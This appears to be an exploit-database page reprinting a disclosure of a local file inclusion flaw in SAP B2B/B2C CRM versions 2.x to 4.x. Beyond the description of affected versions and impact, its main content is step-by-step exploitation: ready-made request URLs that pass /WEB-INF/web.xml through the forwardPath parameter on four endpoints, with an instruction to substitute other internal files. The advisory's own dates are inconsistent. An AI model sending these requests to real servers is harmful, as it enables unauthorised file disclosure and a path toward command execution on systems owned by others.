Sap b2b / b2c crm 2.x < 4.x local file inclusion Vulnerability / Exploit
/
/
/
Exploits / Vulnerability Discovered : 2018-05-18 |
Type : webapps |
Platform : linux
This exploit / vulnerability Sap b2b / b2c crm 2.x < 4.x local file inclusion is for educational purposes only and if it is used you will do on your own risk!
[+] Code ...
# Title: SAP B2B / B2C CRM 2.x < 4.x - Local File Inclusion
# Application:SAP B2B OR B2C is CRM
# Versions Affected: SAP B2B OR B2C is CRM 2.x 3.x and 4.x with Bakend R/3 (to icss_b2b)
# Vendor URL: http://SAP.com
# Bugs: SAP LFI in B2B OR B2C CRM
# Sent: 2018-05-03
# Reported: 2018-05-03
# Date of Public Advisory: 2018-02-09
# Reference: SAP Security Note 1870255656
# Author: Richard Alviarez
# 1. VULNERABLE PACKAGES
# SAP LFI in B2B OR B2C CRM v2.x to 4.x
# Other versions are probably affected too, but they were not checked.
# 2. TECHNICAL DESCRIPTION
# A possible attacker can take advantage of this vulnerability
# to obtain confidential information of the platform,
# as well as the possibility of writing in the logs of the
# registry in order to get remote execution of commands and take control of the system.
# 3. Steps to exploit this vulnerability
A. Open
https://SAP/{name}_b2b/initProductCatalog.do?forwardPath=/WEB-INF/web.xml
Other vulnerable parameters:
https://SAP/{name}_b2b/CatalogClean.do?forwardPath=/WEB-INF/web.xml
https://SAP/{name}_b2b/IbaseSearchClean.do?forwardPath=/WEB-INF/web.xml
https://SAP/{name}_b2b/ForwardDynamic.do?forwardPath=/WEB-INF/web.xml
page on SAP server
B. Change parameter {name} for example icss_b2b or other name....
C. Change "/WEB-INF/web.xml" for other files or archives internal.